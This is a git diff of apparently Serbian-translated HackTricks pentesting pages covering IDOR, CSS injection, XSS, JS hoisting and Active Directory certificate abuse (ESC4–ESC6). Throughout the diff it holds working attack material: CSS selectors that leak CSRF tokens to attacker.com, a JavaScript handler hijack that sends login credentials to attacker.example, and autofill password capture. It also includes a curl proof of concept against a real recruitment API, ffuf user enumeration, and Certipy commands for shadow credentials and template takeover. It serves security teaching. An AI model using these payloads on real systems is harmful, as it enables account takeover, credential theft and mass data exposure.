(Pwn2Own Ireland 2024). +Stvarni slučaj: *Synology Photos* ≤ 1.7.0-0794 je bio iskoristiv kroz neautentifikovan WebSocket događaj koji je postavio napadački kontrolisane podatke u `id_user`, koji su kasnije ugrađeni u poziv `exec()`, dovodeći do RCE (Pwn2Own Ireland 2024). ## Lista za detekciju Brute-Force diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index b2ebc17f2..a21457c67 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) se pojavljuje kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati koji se koristi **direktno** za pristup internom objektu **bez provere da li pozivač ima ovlašćenje** da pristupi/izmeni taj objekat. -Uspešna eksploatacija obično omogućava horizontalnu ili vertikalnu eskalaciju privilegija, kao što je čitanje ili izmena podataka drugih korisnika i, u najgorem slučaju, potpuno preuzimanje naloga ili masovno iznošenje podataka. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojavljuje se kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati i koji se koristi **direktno** za pristup internom objektu **bez provere da li je pozivatelj ovlašćen** da pristupi/izmeni taj objekat. +Uspešna eksploatacija obično omogućava horizontalno ili vertical privilege-escalation, poput čitanja ili izmena podataka drugih korisnika i, u najgorem slučaju, full account takeover ili mass-data exfiltration. --- ## 1. Identifikacija potencijalnih IDOR-a -1. Potražite **parametre koji referenciraju objekat**: +1. Tražite **parametre koji referenciraju objekat**: * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Query: `?id=42`, `?invoice=2024-00001` * Body / JSON: `{"user_id": 321, "order_id": 987}` * Headers / Cookies: `X-Client-ID: 4711` -2. Dajte prednost endpointima koji **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`). -3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidivi** – ako je vaš ID `64185742`, verovatno postoji `64185741`. -4. Istražite skrivene ili alternativne tokove (npr. *"Paradox team members"* link na stranicama za prijavu) koji mogu otkriti dodatne API-je. -5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/cookie**. Odsustvo greške autorizacije obično je znak IDOR-a. +2. Preferirajte endpoint-e koji **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`). +3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidljivi** – ako je vaš ID `64185742`, tada `64185741` verovatno postoji. +4. Istražite skrivene ili alternativne tokove (npr. *"Paradox team members"* link na login stranicama) koji mogu otkriti dodatne API-je. +5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/cookie**. Odsustvo greške autorizacije obično je znak IDOR. -### Brzo ručno menjanje (Burp Repeater) +### Quick manual tampering (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -40,31 +40,31 @@ done ### Error-response oracle for user/file enumeration -Kada endpoint za preuzimanje prihvata i username i filename (npr. `/view.php?username=&file=`), suptilne razlike u porukama o grešci često stvaraju oracle: +Kada download endpoint prihvata i username i filename (npr. `/view.php?username=&file=`), suptilne razlike u error messages često stvaraju oracle: -- Nepostojeće korisničko ime → "User not found" -- Loš naziv fajla ali validna ekstenzija → "File does not exist" (ponekad takođe navede dostupne fajlove) -- Pogrešna ekstenzija → greška validacije +- Nepostojeći username → "User not found" +- Neispravan filename ali valid extension → "File does not exist" (ponekad navede i dostupne fajlove) +- Pogrešna extension → validation error -Sa bilo kojom autentifikovanom sesijom možete fuzz-ovati parametar username dok koristite bezopasan naziv fajla i filtrirati po stringu "User not found" da biste otkrili važeće korisnike: +Sa bilo kojom authenticated session, možete fuzz-ovati username parametar dok držite benign filename i filtrirati po stringu "user not found" da otkrijete validne korisnike: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Kada se identifikuju važeći korisnički nalozi, direktno zatražite konkretne fajlove (npr. `/view.php?username=amanda&file=privacy.odt`). Ovaj obrazac često dovodi do neautorizovanog otkrivanja dokumenata drugih korisnika i credential leakage. +Kada se identifikuju validna korisnička imena, direktno zatražite specifične fajlove (npr. `/view.php?username=amanda&file=privacy.odt`). Ovaj obrazac često dovodi do neovlašćenog otkrivanja dokumenata drugih korisnika i izlaganja kredencijala. --- ## 2. Studija slučaja iz stvarnog sveta – McHire Chatbot Platform (2025) -Tokom procene regrutacione platforme Paradox.ai-pogonjene **McHire** otkriven je sledeći IDOR: +Tokom testa Paradox.ai-powered **McHire** recruitment portala otkriven je sledeći IDOR: * Endpoint: `PUT /api/lead/cem-xhr` * Authorization: user session cookie za **bilo koji** test nalog restorana -* Body parameter: `{"lead_id": N}` – 8-cifreni, **sekvencijalni** numerički identifikator +* Body parameter: `{"lead_id": N}` – 8-znamenkasti, **uzastopni** numerički identifikator -Smanjivanjem `lead_id` tester je preuzeo proizvoljne aplikante sa **potpunim PII** (ime, e-mail, telefon, adresa, preferencije smene) plus consumer **JWT** koji je omogućio session hijacking. Enumeracija opsega `1 – 64,185,742` otkrila je otprilike **64 miliona** zapisa. +Smanjivanjem `lead_id` tester je dobio proizvoljne podnosioce prijava sa **full PII** (ime, e-mail, telefon, adresa, preferencije smena) kao i consumer **JWT** koji je omogućio session hijacking. Enumeracija opsega `1 – 64,185,742` otkrila je otprilike **64 miliona** zapisa. Proof-of-Concept request: ```bash @@ -72,35 +72,35 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Combined with **podrazumevanim administratorskim akreditivima** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach. +U kombinaciji sa **podrazumevanim administratorskim akreditivima** (`123456:123456`) koji su omogućili pristup test nalogu, ranjivost je dovela do kritičnog, kompanijskog curenja podataka. --- ## 3. Uticaj IDOR / BOLA -* Horizontalno eskaliranje – čitanje/izmenjivanje/brisanje podataka **ostalih korisnika**. -* Vertikalno eskaliranje – korisnik sa niskim privilegijama dobija funkcionalnosti rezervisane samo za admina. -* Masovno curenje podataka ako su identifikatori sekvencijalni (npr. ID-evi kandidata, fakture). +* Horizontalno eskaliranje – čitanje/izmena/brisanje podataka **ostalih korisnika**. +* Vertikalno eskaliranje – korisnik sa niskim privilegijama dobija funkcionalnosti namenjene samo administratorima. +* Masovno curenje podataka ako su identifikatori sekvencijalni (npr. applicant IDs, invoices). * Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika. --- -## 4. Ublažavanje & Najbolje prakse -1. **Primeni autorizaciju na nivou objekta** na svaki zahtev (`user_id == session.user`). -2. Preferiraj **indirektne, nepredvidive identifikatore** (UUIDv4, ULID) umesto auto-increment ID-eva. -3. Izvršavaj autorizaciju na serverskoj strani, nikada se ne oslanjaj na skrivena polja forme ili UI kontrole. -4. Implementiraj provere **RBAC / ABAC** u centralnom middleware-u. -5. Dodaj **rate-limiting & logging** kako bi otkrio enumeraciju ID-eva. -6. Bezbednosno testiraj svaki novi endpoint (unit, integration, and DAST). +## 4. Ublažavanja i najbolje prakse +1. **Sprovodite autorizaciju na nivou objekta** za svaki zahtev (`user_id == session.user`). +2. Preferirajte **indirektne, nepredvidljive identifikatore** (UUIDv4, ULID) umesto auto-increment IDs. +3. Izvršavajte autorizaciju **server-side**, nikada se ne oslanjajte na skrivene form polja ili UI kontrole. +4. Implementirajte **RBAC / ABAC** provere u centralnom middleware-u. +5. Dodajte **rate-limiting & logging** kako biste otkrili enumeraciju ID-eva. +6. Bezbednosno testirajte svaki novi endpoint (unit, integration, and DAST). --- -## 5. Alati +## 5. Tooling * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. -* **Github projekti**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). +* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). -## Reference +## References * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) -* [Kako pronaći više IDOR-a – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) -* [HTB Nocturnal: IDOR oracle → krađa fajlova](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 96a9ad27e..e32b8658f 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -6,7 +6,7 @@ ### Attribute Selector -CSS selektori su napisani da odgovaraju vrednostima atributa `name` i `value` elementa `input`. Ako atribut `value` elementa `input` počinje određenim karakterom, učitava se unapred definisan eksterni resurs: +Selektori CSS-a se kreiraju da bi se poklopili sa vrednostima atributa `name` i `value` elementa `input`. Ako `value` atribut elementa `input` počinje određenim karakterom, učitava se predefinisani eksterni resurs: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Međutim, ovaj pristup ima ograničenje kada se radi o skrivenim input elementima (`type="hidden"`) jer skriveni elementi ne učitavaju pozadine. +Međutim, ovaj pristup ima ograničenje kada se radi o skrivenim input elementima (`type="hidden"`), jer skriveni elementi ne učitavaju pozadine. -#### Zaobilaženje za skrivenim elementima +#### Zaobilaženje za skrivene elemente -Da biste zaobišli ovo ograničenje, možete ciljati naredni sibling element koristeći `~` general sibling combinator. CSS pravilo se potom primenjuje na sve elemente koji slede nakon skrivenog input elementa, što dovodi do učitavanja pozadinske slike: +Da biste zaobišli ovo ograničenje, možete ciljati naredni srodni element koristeći `~` general sibling combinator. CSS pravilo će se potom primeniti na sve srodne elemente koji slede nakon skrivenog input elementa, prouzrokujući učitavanje pozadinske slike: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Praktičan primer iskorišćavanja ove tehnike detaljno je prikazan u priloženom isječku koda. Možete ga pogledati [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Preduslovi za CSS Injection -Da bi CSS Injection bio efikasan, moraju biti ispunjeni sledeći uslovi: +Da bi tehnika CSS Injection bila efikasna, moraju biti ispunjeni određeni uslovi: -1. **Payload Length**: CSS injection vector mora podržavati dovoljno duge payloads da primi kreirane selectors. -2. **CSS Re-evaluation**: Trebalo bi da imate mogućnost da frame the page, što je neophodno da bi se pokrenulo ponovno evaluiranje CSS-a sa novo generisanim payloads. -3. **External Resources**: Tehnika pretpostavlja mogućnost korišćenja eksterno hostovanih slika. Ovo može biti ograničeno Content Security Policy (CSP) sajta. +1. **Payload Length**: Vektor za CSS Injection mora podržavati dovoljno duge payloads kako bi mogao da smesti izrađene selektore. +2. **CSS Re-evaluation**: Trebalo bi da imate mogućnost da uokvirite (frame) stranicu, što je neophodno da bi se pokrenula ponovna evaluacija CSS-a sa novo generisanim payloads. +3. **External Resources**: Tehnika podrazumeva mogućnost korišćenja eksterno hostovanih slika. To može biti ograničeno Content Security Policy-jem (CSP) sajta. ### Blind Attribute Selector -As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ -It's also possible to use those selectors to extract information from several block of the same type like in: +As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), moguće je kombinovati selektore **`:has`** i **`:not`** da se identifikuje sadržaj čak i iz blind elemenata. Ovo je veoma korisno kada nemate pojma šta se nalazi unutar web stranice koja učitava CSS injection.\ +Takođe je moguće koristiti te selektore za izdvajanje informacija iz nekoliko blokova istog tipa, kao u: ```html ``` -### Hvatanje lozinki putem automatskog popunjavanja +### Hvatanje lozinki iz automatskog popunjavanja ```javascript Username:
@@ -1422,11 +1423,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Kada se bilo koji podatak unese u password field, username i password se šalju na attackers server; čak i ako klijent izabere saved password i ne unese ništa, credentials će biti ex-filtrated. +Kada se bilo koji podatak unese u password polje, username i password se šalju na server napadača; čak i ako client izabere saved password i ne ukuca ništa, credentials će biti ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Ako je kritični handler (npr. `function DoLogin(){...}`) deklarisan kasnije na stranici, a vaš payload se izvršava ranije (npr. putem inline JS-in-JS sink), definišite `const` istog imena prvo da preduhitrite i zaključate handler. Kasnije function declarations ne mogu rebind a `const` name, ostavljajući vaš hook pod kontrolom: +Ako je kritični handler (npr., `function DoLogin(){...}`) deklarisan kasnije na stranici, a tvoj payload se izvršava ranije (npr., putem inline JS-in-JS sink), definiši `const` istog imena prvo da preduhitriš i zaključaš handler. Kasnije deklaracije funkcija ne mogu ponovo vezati `const` ime, ostavljajući tvoj hook pod kontrolom: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1434,21 +1435,21 @@ const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); }; ``` -Napomene -- Ovo se oslanja na redosled izvršavanja: tvoj injekcioni kod mora da se izvrši pre legitimne deklaracije. -- Ako je tvoj payload obavijen u `eval(...)`, `const/let` vezivanja neće postati globalna. Koristi dinamičku ` @@ -1561,7 +1562,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Pristup skrivenom sadržaju -Iz [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) može se saznati da čak i ako neke vrednosti nestanu iz JS, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos za REGEX se i dalje može pronaći nakon što je vrednost unosa regex-a uklonjena: +From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1578,18 +1579,18 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Brute-Force lista +### Brute-Force List {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS zloupotreba drugih ranjivosti +## XSS - iskorišćavanje drugih ranjivosti -### XSS in Markdown +### XSS u Markdown -Možeš li ubaciti Markdown kod koji će biti renderovan? Možda možeš dobiti XSS! Proveri: +Može li se ubaciti Markdown kod koji će biti renderovan? Možda možete dobiti XSS! Proveri: {{#ref}} @@ -1598,24 +1599,24 @@ xss-in-markdown.md ### XSS u SSRF -Imaš XSS na sajtu koji koristi keširanje? Pokušaj to nadograditi u SSRF putem Edge Side Include Injection koristeći ovaj payload: +Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **nadograditi ga na SSRF** kroz Edge Side Include Injection sa ovim payload: ```python ``` -Iskoristite ga za zaobilaženje cookie ograničenja, XSS filtera i još mnogo toga!\ +Koristite ga za zaobilaženje cookie ograničenja, XSS filtera i još mnogo toga!\ Više informacija o ovoj tehnici ovde: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### XSS in dynamic created PDF +### XSS u dinamički kreiranom PDF-u -Ako web stranica kreira PDF koristeći korisnički kontrolisan input, možete pokušati da **prevarite bota** koji kreira PDF da **izvrši proizvoljan JS kod**.\ -Dakle, ako **PDF creator bot finds** neku vrstu **HTML** **tags**, on će ih **interpretirati**, i možete **abuse** ovo ponašanje da izazovete **Server XSS**. +Ako web stranica kreira PDF koristeći unos koji kontroliše korisnik, možete pokušati da **prevarite bota** koji kreira PDF da počne sa **izvršavanjem proizvoljnog JS koda**.\ +Dakle, ako **PDF creator bot pronađe** neke **HTML** **tagove**, on će ih **interpretirati**, i možete ovo **iskoristiti** da prouzrokujete **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Ako ne možete da ubacite **HTML** **tags** možda vredi pokušati da **inject PDF data**: +Ako ne možete da injektujete HTML tagove, možda vredi pokušati da **injektujete PDF podatke**: {{#ref}} @@ -1624,15 +1625,15 @@ pdf-injection.md ### XSS in Amp4Email -AMP, usmeren na ubrzavanje performansi web stranica na mobilnim uređajima, uključuje HTML tags dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa naglaskom na brzinu i bezbednost. Pruža niz komponenti za različite funkcije, dostupnih preko [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, namenjen ubrzavanju performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa fokusom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih preko [AMP components](https://amp.dev/documentation/components/?format=websites). -The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format proširuje specifične AMP komponente na emails, omogućavajući primaocima da direktno u svojim emailovima interaguju sa sadržajem. +The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails. -Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). +Primer [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS uploading files (svg) -Uploadujte kao sliku fajl poput sledećeg (iz [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +Otpremite kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1688,7 +1689,7 @@ id="foo"/> ```xml ``` -Pronađite **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Pronađi **više SVG payloads na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) ## Razni JS trikovi i relevantne informacije @@ -1697,7 +1698,7 @@ Pronađite **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet other-js-tricks.md {{#endref}} -## Resursi za XSS +## XSS resursi - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index c6aa55c45..7a1b2c8b8 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -4,29 +4,29 @@ ## Osnovne informacije -U jeziku JavaScript opisuje se mehanizam poznat kao **Hoisting**, pri kojem se deklaracije promenljivih, funkcija, klasa ili imports konceptualno podižu na vrh njihovog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza. +U jeziku JavaScript postoji mehanizam poznat kao **Hoisting** gde se deklaracije promenljivih, funkcija, klasa ili import-a konceptualno podižu na vrh njihovog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza. -Tokom prvog prolaza, engine parsira kod da bi proverio sintaksne greške i transformisao ga u apstraktno sintaksno stablo. Ova faza uključuje hoisting, proces u kojem se određene deklaracije pomeraju na vrh konteksta izvršavanja. Ako faza parsiranja uspe, što znači da nema sintaksnih grešaka, izvršavanje skripte može da se nastavi. +Tokom prvog prolaza, engine parsira kod da proveri sintaksne greške i transformiše ga u apstraktno sintaksno stablo. Ova faza uključuje hoisting, proces gde se određene deklaracije pomeraju na vrh konteksta izvršavanja. Ako je faza parsiranja uspešna, što znači da nema sintaksnih grešaka, izvršavanje skripte se nastavlja. Važno je razumeti da: -1. Skripta mora biti bez sintaksnih grešaka da bi se izvršila. Pravila sintakse moraju biti striktno poštovana. -2. Pozicija koda u okviru skripte utiče na izvršavanje zbog hoistinga, iako se izvršeni kod može razlikovati od njegove tekstualne reprezentacije. +1. Skripta mora biti bez sintaksnih grešaka da bi došlo do izvršenja. Pravila sintakse moraju biti strogo poštovana. +2. Pozicioniranje koda unutar skripte utiče na izvršenje zbog hoistinga, iako se izvršeni kod može razlikovati od njegove tekstualne reprezentacije. -#### Tipovi Hoistinga +#### Tipovi hoistinga -Na osnovu informacija sa MDN, postoje četiri različita tipa hoistinga u JavaScriptu: +Na osnovu informacija sa MDN-a, postoji četiri različita tipa hoistinga u JavaScript-u: -1. **Value Hoisting**: Omogućava upotrebu vrednosti promenljive unutar njenog opsega pre linije njene deklaracije. -2. **Declaration Hoisting**: Dozvoljava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja `ReferenceError`, ali vrednost promenljive biće `undefined`. -3. Ovaj tip menja ponašanje unutar svog opsega zbog deklaracije promenljive pre stvarne linije njene deklaracije. -4. Sporedni efekti deklaracije se dešavaju pre nego što se ostatak koda koji je sadrži evaluira. +1. **Value Hoisting**: Omogućava korišćenje vrednosti promenljive unutar njenog opsega pre linije njene deklaracije. +2. **Declaration Hoisting**: Dozvoljava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja `ReferenceError`, ali će vrednost promenljive biti `undefined`. +3. Ovaj tip menja ponašanje unutar svog opsega zato što je deklaracija promenljive dostupna pre njene stvarne linije deklaracije. +4. Sporedni efekti deklaracije se javljaju pre nego što se ostatak koda koji sadrži tu deklaraciju evaluira. -Detaljnije, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč `var` demonstrira ponašanje tipa 2. Leksičke deklaracije, koje uključuju `let`, `const` i `class`, pokazuju ponašanje tipa 3. Na kraju, `import` statements su jedinstveni po tome što se hoistuju sa ponašanjem tipa 1 i tipa 4. +Detaljnije, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč `var` demonstrira ponašanje tipa 2. Leksikalne deklaracije, koje uključuju `let`, `const` i `class`, pokazuju ponašanje tipa 3. Na kraju, `import` izjave su jedinstvene po tome što su hoistovane sa ponašanjem tipa 1 i tipa 4. ## Scenariji -Dakle, ako imate scenarije u kojima možete **Inject JS code after an undeclared object** is used, možete **fix the syntax** tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da baci grešku): +Dakle, ako imate scenarije u kojima možete ubaciti JS kod nakon što se koristi nedeklarisan objekat, možete ispraviti sintaksu tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da baci grešku): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -129,9 +129,9 @@ alert(1) - } trigger() ``` -### Spreči kasnije deklaracije zaključavanjem imena pomoću const +### Sprečite kasnije deklaracije zaključavanjem imena pomoću const -Ako možete izvršiti kod pre nego što se top-level `function foo(){...}` parsira, deklarisanjem leksičkog vezivanja istog imena (npr. `const foo = ...`) sprečićete kasniju deklaraciju funkcije da ponovo veže taj identifikator. Ovo se može zloupotrebiti u RXSS da bi se preoteli kritični handleri definisani kasnije na stranici: +Ako možete da izvršite kod pre nego što se parsira top-level `function foo(){...}`, deklarisanjem leksičkog vezivanja istog imena (npr. `const foo = ...`) sprečićete kasniju deklaraciju funkcije da ponovo vezuje taj identifikator. Ovo se može zloupotrebiti u RXSS da bi se preuzeli kritični handleri definisani kasnije na stranici: ```javascript // Malicious code runs first (e.g., earlier inline
-ESC4 je kada korisnik ima write privilegije nad šablonom sertifikata. Ovo se, na primer, može zloupotrebiti da bi se prepisala konfiguracija šablona sertifikata i učinila ranjivom na ESC1. +ESC4 označava situaciju kada korisnik ima privilegije za pisanje nad šablonom sertifikata. To se, na primer, može zloupotrebiti da bi se prepisala konfiguracija šablona sertifikata i učinilo da šablon postane ranjiv na ESC1. -Kao što vidimo u putanji iznad, samo `JOHNPC` ima ove privilegije, ali naš korisnik `JOHN` ima novu `AddKeyCredentialLink` ivicu prema `JOHNPC`. Pošto je ova tehnika povezana sa sertifikatima, implementirao sam i ovaj napad, koji je poznat kao [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Evo malog prikaza Certipy-ove `shadow auto` komande za dobijanje NT hasha žrtve. +Kao što vidimo u putanji iznad, samo `JOHNPC` ima ove privilegije, ali naš korisnik `JOHN` ima novu `AddKeyCredentialLink` vezu ka `JOHNPC`. Pošto je ova tehnika povezana sa sertifikatima, implementirao sam i ovaj napad, poznat kao [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Evo malog uvida u Certipy’s `shadow auto` komandu za preuzimanje NT hasha žrtve. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** može da prepiše konfiguraciju šablona sertifikata jednom komandom. **Podrazumevano**, Certipy će **prepisati** konfiguraciju da bi bila **ranjiva na ESC1**. Takođe možemo navesti **`-save-old` parametar za čuvanje stare konfiguracije**, što će biti korisno za **vraćanje** konfiguracije nakon našeg napada. +**Certipy** može prepisati konfiguraciju šablona sertifikata jednom naredbom. **Podrazumevano**, Certipy će **prepisati** konfiguraciju da bi je učinila **ranjivom na ESC1**. Takođe možemo navesti **`-save-old` parametar da sačuvamo staru konfiguraciju**, što će biti korisno za **vraćanje** konfiguracije nakon našeg napada. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -177,37 +175,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Ranljiva kontrola pristupa PKI objekata - ESC5 +## Ranjiva kontrola pristupa PKI objekata - ESC5 ### Objašnjenje -Opsežna mreža međusobno povezanih ACL-zasnovanih odnosa, koja uključuje više objekata izvan certificate templates i certificate authority, može uticati na bezbednost celog AD CS sistema. Ti objekti, koji značajno utiču na bezbednost, obuhvataju: +Opsežna mreža međusobno povezanih odnosa zasnovanih na ACL-ovima, koja uključuje više objekata osim certificate templates i certificate authority, može uticati na bezbednost celog AD CS sistema. Ovi objekti, koji značajno mogu uticati na bezbednost, obuhvataju: -- AD computer object of the CA server, koji može biti kompromitovan putem mehanizama kao što su S4U2Self ili S4U2Proxy. -- RPC/DCOM server of the CA server. -- Bilo koji descendant AD object ili container unutar specifične container path `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Ova putanja uključuje, ali nije ograničena na, containere i objekte kao što su Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, i the Enrollment Services Container. +- AD computer object CA server-a, koji može biti kompromitovan kroz mehanizme kao što su S4U2Self ili S4U2Proxy. +- RPC/DCOM server CA server-a. +- Bilo koji descendant AD object ili container unutar konkretne putanje kontejnera `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Ova putanja uključuje, ali nije ograničena na, kontejnere i objekte kao što su the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, i the Enrollment Services Container. -Bezbednost PKI sistema može biti ugrožena ako napadač sa niskim privilegijama uspe da preuzme kontrolu nad bilo kojom od ovih kritičnih komponenti. +Bezbednost PKI sistema može biti ugrožena ako napadač sa niskim privilegijama stekne kontrolu nad bilo kojim od ovih kritičnih komponenti. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### Objašnjenje -Tema obrađena u [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) takođe se dotiče implikacija zastavice **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, kako to navodi Microsoft. Kada je ova konfiguracija uključena na Certification Authority (CA), dozvoljava uključivanje **user-defined values** u **subject alternative name** za **any request**, uključujući one kreirane iz Active Directory®. Posledično, ovo omogućava napadaču da se enroll-uje kroz **any template** podešen za domen **authentication** — posebno one otvorene za enrollment neprivilegovanih korisnika, kao što je standardni User template. Kao rezultat, može se dobiti sertifikat koji omogućava napadaču da se autentifikuje kao domain administrator ili **any other active entity** unutar domena. +Tema obrađena u [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) takođe dodiruje implikacije zastavice **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, kako to Microsoft navodi. Ova konfiguracija, kada je aktivirana na Certification Authority (CA), omogućava uključivanje **user-defined values** u **subject alternative name** za **bilo koji zahtev**, uključujući one konstruisane iz Active Directory®. Posledično, ovo omogućava napadaču da se upiše (enroll) preko **bilo kojeg template-a** podešenog za domen **authentication**—posebno onih otvorenih za upis 